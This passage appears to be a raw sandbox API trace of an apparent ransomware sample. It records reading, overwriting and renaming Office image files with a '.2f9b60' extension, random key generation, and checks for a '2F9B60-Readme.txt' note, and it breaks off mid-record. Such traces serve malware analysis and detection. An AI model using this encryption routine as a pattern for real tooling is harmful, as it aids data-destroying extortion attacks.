(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe860) returned 1 [0143.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe890) returned 1 [0143.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x1ce21ea0 [0143.555] wcscpy (in: _Dest=0x1ce21ea0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg" [0143.555] wcscat (in: _Dest=0x1ce21ea0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg.2f9b60" [0143.555] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg.2f9b60", NtPathName=0x2aa6f850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x1ced0120 [0143.555] NtSetInformationFile (FileHandle=0x1fbc, IoStatusBlock=0x2aa6f8f0, FileInformation=0x1ced0120, Length=0xd4, FileInformationClass=0xa) returned 0x0 [0145.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced0120) returned 1 [0145.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053230) returned 1 [0145.347] NtQueryInformationFile (in: FileHandle=0x1fbc, IoStatusBlock=0x2aa6f8b8, FileInformation=0x2aa6f8c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2aa6f8b8, FileInformation=0x2aa6f8c8) returned 0x0 [0145.347] NtSetInformationFile (FileHandle=0x1fbc, IoStatusBlock=0x2aa6f8b8, FileInformation=0x2aa6f8c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce21ea0) returned 1 [0145.356] FlushFileBuffers (hFile=0x1fbc) returned 1 [0145.363] CloseHandle (hObject=0x1fbc) returned 1 [0145.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce114a0 [0145.364] wcscpy (in: _Dest=0x1ce114a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0145.364] wcscat (in: _Dest=0x1ce114a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0145.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce114a0) returned 1 [0147.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac9a0) returned 1 Thread: id = 1838 os_tid = 0xf5c [0132.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24imagesmask.bmp")) returned 0x20 [0136.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp", dwFileAttributes=0x20) returned 1 [0138.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24imagesmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14fc [0144.195] GetFileSizeEx (in: hFile=0x14fc, lpFileSize=0x2ac5f940 | out: lpFileSize=0x2ac5f940*=2808) returned 1 [0144.195] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0xaf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.195] ReadFile (in: hFile=0x14fc, lpBuffer=0x2ac5f8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ac5f908, lpOverlapped=0x0 | out: lpBuffer=0x2ac5f8c0*, lpNumberOfBytesRead=0x2ac5f908*=0x4, lpOverlapped=0x0) returned 1 [0144.286] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644a0 [0144.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267710 [0144.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ba0 [0144.287] NtQuerySystemTime (in: CurrentTime=0x2ac5f800 | out: CurrentTime=0x2ac5f800*=132462177495334000) returned 0x0 [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x5d7be577 [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x7e1c9648 [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x80a20fd [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x4b87302 [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x4bd1ce89 [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x706a070 [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x69ce8226 [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x21fd6ea2 [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x75531f8 [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x6a0e81d9 [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x5dad6a88 [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x188b7e3 [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x517c2870 [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x3c568985 [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x2ea6475e [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x447b9233 [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x2b162cad [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x33f6e65d [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x47162b17 [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x2c387162 [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x41a9cf09 [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x53cf689d [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x30d0f159 [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x3d19ade9 [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x2f4fb824 [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x7a453bf [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x8c1ebec [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x3b093719 [0144.287] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x5a58a0e5 [0144.288] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x5e7c185 [0144.288] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x387b4452 [0144.288] RtlRandomEx (in: Seed=0x2ac5f7f0 | out: Seed=0x2ac5f7f0) returned 0x60cc9929 [0144.296] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267980 [0144.296] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a230 [0144.296] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266900 [0144.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a230) returned 1 [0144.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ba0) returned 1 [0144.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202644a0) returned 1 [0144.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059d30 [0144.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a230 [0144.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644a0 [0144.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202644a0) returned 1 [0144.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42339560 [0144.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4232e130 [0144.299] ReadFile (in: hFile=0x14fc, lpBuffer=0x42339560, nNumberOfBytesToRead=0xaf8, lpNumberOfBytesRead=0x2ac5f7f0, lpOverlapped=0x0 | out: lpBuffer=0x42339560*, lpNumberOfBytesRead=0x2ac5f7f0*=0xaf8, lpOverlapped=0x0) returned 1 [0144.299] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.299] WriteFile (in: hFile=0x14fc, lpBuffer=0x4232e130*, nNumberOfBytesToWrite=0xaf8, lpNumberOfBytesWritten=0x2ac5f7f4, lpOverlapped=0x0 | out: lpBuffer=0x4232e130*, lpNumberOfBytesWritten=0x2ac5f7f4*=0xaf8, lpOverlapped=0x0) returned 1 [0144.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672c0 [0144.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673b0 [0144.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673b0) returned 1 [0144.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4232e130) returned 1 [0144.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42339560) returned 1 [0144.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a230) returned 1 [0144.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d30) returned 1 [0144.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x42059d30 [0144.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059bf0 [0144.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a230 [0144.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673b0 [0144.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673b0) returned 1 [0144.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x42059ce0 [0144.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673b0 [0144.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267440 [0144.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267440) returned 1 [0144.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a230) returned 1 [0144.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0144.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12a) returned 0x188850 [0144.335] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0144.335] WriteFile (in: hFile=0x14fc, lpBuffer=0x188850*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x2ac5f910, lpOverlapped=0x0 | out: lpBuffer=0x188850*, lpNumberOfBytesWritten=0x2ac5f910*=0x12a, lpOverlapped=0x0) returned 1 [0144.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x188850) returned 1 [0144.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673b0) returned 1 [0144.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d30) returned 1 [0144.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672c0) returned 1 [0144.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267710) returned 1 [0144.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267980) returned 1 [0144.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266900) returned 1 [0144.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x4205ee80 [0144.361] wcscpy (in: _Dest=0x4205ee80, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp" [0144.361] wcscat (in: _Dest=0x4205ee80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp.2f9b60" [0144.361] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp.2f9b60", NtPathName=0x2ac5f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0144.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xdc) returned 0x1ceb5300 [0144.361] NtSetInformationFile (FileHandle=0x14fc, IoStatusBlock=0x2ac5f9d0, FileInformation=0x1ceb5300, Length=0xdc, FileInformationClass=0xa) returned 0x0 [0145.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb5300) returned 1 [0145.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052ba0) returned 1 [0145.384] NtQueryInformationFile (in: FileHandle=0x14fc, IoStatusBlock=0x2ac5f998, FileInformation=0x2ac5f9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ac5f998, FileInformation=0x2ac5f9a8) returned 0x0 [0145.384] NtSetInformationFile (FileHandle=0x14fc, IoStatusBlock=0x2ac5f998, FileInformation=0x2ac5f9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ee80) returned 1 [0145.388] FlushFileBuffers (hFile=0x14fc) returned 1 [0145.397] CloseHandle (hObject=0x14fc) returned 1 [0145.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050d160 [0145.398] wcscpy (in: _Dest=0x2050d160, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0145.398] wcscat (in: _Dest=0x2050d160, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0145.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d160) returned 1 [0147.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107d80) returned 1 Thread: id = 1839 os_tid = 0xc70 [0132.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimages.jpg")) returned 0x20 [0135.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg", dwFileAttributes=0x20) returned 1 [0138.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimages.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b4c [0140.481] GetFileSizeEx (in: hFile=0x1b4c, lpFileSize=0x1daaf7c0 | out: lpFileSize=0x1daaf7c0*=9701) returned 1 [0140.481] SetFilePointerEx (in: hFile=0x1b4c, liDistanceToMove=0x25e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.481] ReadFile (in: hFile=0x1b4c, lpBuffer=0x1daaf740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1daaf788, lpOverlapped=0x0 | out: lpBuffer=0x1daaf740*, lpNumberOfBytesRead=0x1daaf788*=0x4, lpOverlapped=0x0) returned 1 [0140.506] SetFilePointerEx (in: hFile=0x1b4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0140.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261880 [0140.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0140.506] NtQuerySystemTime (in: CurrentTime=0x1daaf680 | out: CurrentTime=0x1daaf680*=132462177457426000) returned 0x0 [0140.506] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x3ca3a4d3 [0140.506] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x1ee2b54 [0140.506] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x61573135 [0140.507] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x6509ab7c [0140.507] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x29349f48 [0140.507] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x217f3d5b [0140.507] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x473d70c7 [0140.507] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0xaf7e3d4 [0140.507] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x31078232 [0140.507] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x40bf5741 [0140.507] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x13f2e3b3 [0140.507] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x6b48173f [0140.507] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x2852be75 [0140.507] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x23dcd5d8 [0140.507] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x62fcd776 [0140.507] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x354b8c0d [0140.507] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x7cf7e4d5 [0140.507] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x1317d8f6 [0140.507] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x8b91076 [0140.507] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x5403918d [0140.507] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x3ae81926 [0140.507] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x45167b31 [0140.507] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x20e6bf6a [0140.507] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x1e7a3908 [0140.508] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x3e32a844 [0140.508] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x3bb50530 [0140.508] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x680fd600 [0140.508] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x20578d03 [0140.508] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x59135a62 [0140.508] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x1b1f158c [0140.508] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x62fa3761 [0140.508] RtlRandomEx (in: Seed=0x1daaf670 | out: Seed=0x1daaf670) returned 0x7a78f68e [0140.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd6c0 [0140.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061bb0 [0140.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd6f0 [0140.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061bb0) returned 1 [0140.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0140.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b290) returned 1 [0140.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420592e0 [0140.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061bb0 [0140.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0140.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b290) returned 1 [0140.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42234d90 [0140.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422389a0 [0140.520] ReadFile (in: hFile=0x1b4c, lpBuffer=0x42234d90, nNumberOfBytesToRead=0x25e5, lpNumberOfBytesRead=0x1daaf670, lpOverlapped=0x0 | out: lpBuffer=0x42234d90*, lpNumberOfBytesRead=0x1daaf670*=0x25e5, lpOverlapped=0x0) returned 1 [0140.529] SetFilePointerEx (in: hFile=0x1b4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.529] WriteFile (in: hFile=0x1b4c, lpBuffer=0x422389a0*, nNumberOfBytesToWrite=0x25e5, lpNumberOfBytesWritten=0x1daaf674, lpOverlapped=0x0 | out: lpBuffer=0x422389a0*, lpNumberOfBytesWritten=0x1daaf674*=0x25e5, lpOverlapped=0x0) returned 1 [0140.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267320 [0140.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267710 [0140.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267710) returned 1 [0140.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422389a0) returned 1 [0140.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42234d90) returned 1 [0140.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061bb0) returned 1 [0140.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420592e0) returned 1 [0140.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1cd9d9d0 [0140.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420592e0 [0140.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061bb0 [0140.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267710 [0140.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267710) returned 1 [0140.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1cd9d130 [0140.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267710 [0140.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267740 [0140.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267740) returned 1 [0140.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061bb0) returned 1 [0140.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420592e0) returned 1 [0140.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x130) returned 0x1885d0 [0140.918] SetFilePointerEx (in: hFile=0x1b4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0140.918] WriteFile (in: hFile=0x1b4c, lpBuffer=0x1885d0*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x1daaf790, lpOverlapped=0x0 | out: 